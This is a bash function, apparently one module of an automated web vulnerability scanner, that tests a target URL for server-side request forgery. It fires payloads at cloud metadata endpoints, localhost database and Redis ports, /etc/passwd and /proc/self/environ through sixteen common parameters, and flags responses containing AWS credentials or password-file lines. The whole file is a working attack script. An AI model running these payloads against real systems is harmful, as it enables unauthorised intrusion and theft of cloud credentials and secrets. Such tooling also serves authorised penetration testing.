#!/usr/bin/env bash
# Vector 05: Server-Side Request Forgery
# Desc: SSRF via URL params, file fetching, webhooks
# Detect: url=, src=, link=, fetch=, file=, callback=, webhook= parameters
# Severity: HIGH
# Tools: curl

vector_ssrf() {
  local target="$1"
  local report="$2"
  local findings=0
  
  print_info "Testing SSRF vectors..."
  
  local ssrf_params=("url" "src" "link" "fetch" "file" "callback" "webhook" "image" "img" "load" "read" "path" "dest" "redirect" "uri" "data")
  local ssrf_targets=(
    "http://169.254.169.254/latest/meta-data/"
    "http://169.254.169.254/"
    "http://127.0.0.1:80"
    "http://127.0.0.1:8080"
    "http://127.0.0.1:3306"
    "http://127.0.0.1:6379"
    "http://localhost/flag"
    "file:///etc/passwd"
    "file:///proc/self/environ"
    "http://[::1]:80"
    "http://0.0.0.0:80"
  )
  
  for param in "${ssrf_params[@]}"; do
    for ssrf_target in "${ssrf_targets[@]}"; do
      local test_url=""
      if [[ "$target" == *\?* ]]; then
        test_url="${target}&${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
      else
        test_url="${target}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${ssrf_target}'))" 2>/dev/null || echo "$ssrf_target")"
      fi
      
      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
      
      if echo "$response" | grep -qi "ami-id\|instance-id\|public-keys\|security-credentials\|root:.*:0:0:\|uid=\|DB_HOST\|REDIS\|AWS_"; then
        print_find "SSRF confirmed!" "Internal resource accessible via parameter $param -> $ssrf_target"
        echo "SEVERITY: CRITICAL
VECTOR: Server-Side Request Forgery (SSRF)
DETAIL: SSRF via parameter '$param' on $target
EVIDENCE: Internal data accessible: ${response:0:100}...
EXPLOIT: Use to access cloud metadata, internal services, or read local files" > "$REPORTS_DIR/.finding_$(date +%s)_ssrf.txt"
        findings=$((findings + 1))
        break 2
      fi
    done
  done
  
  return $findings
}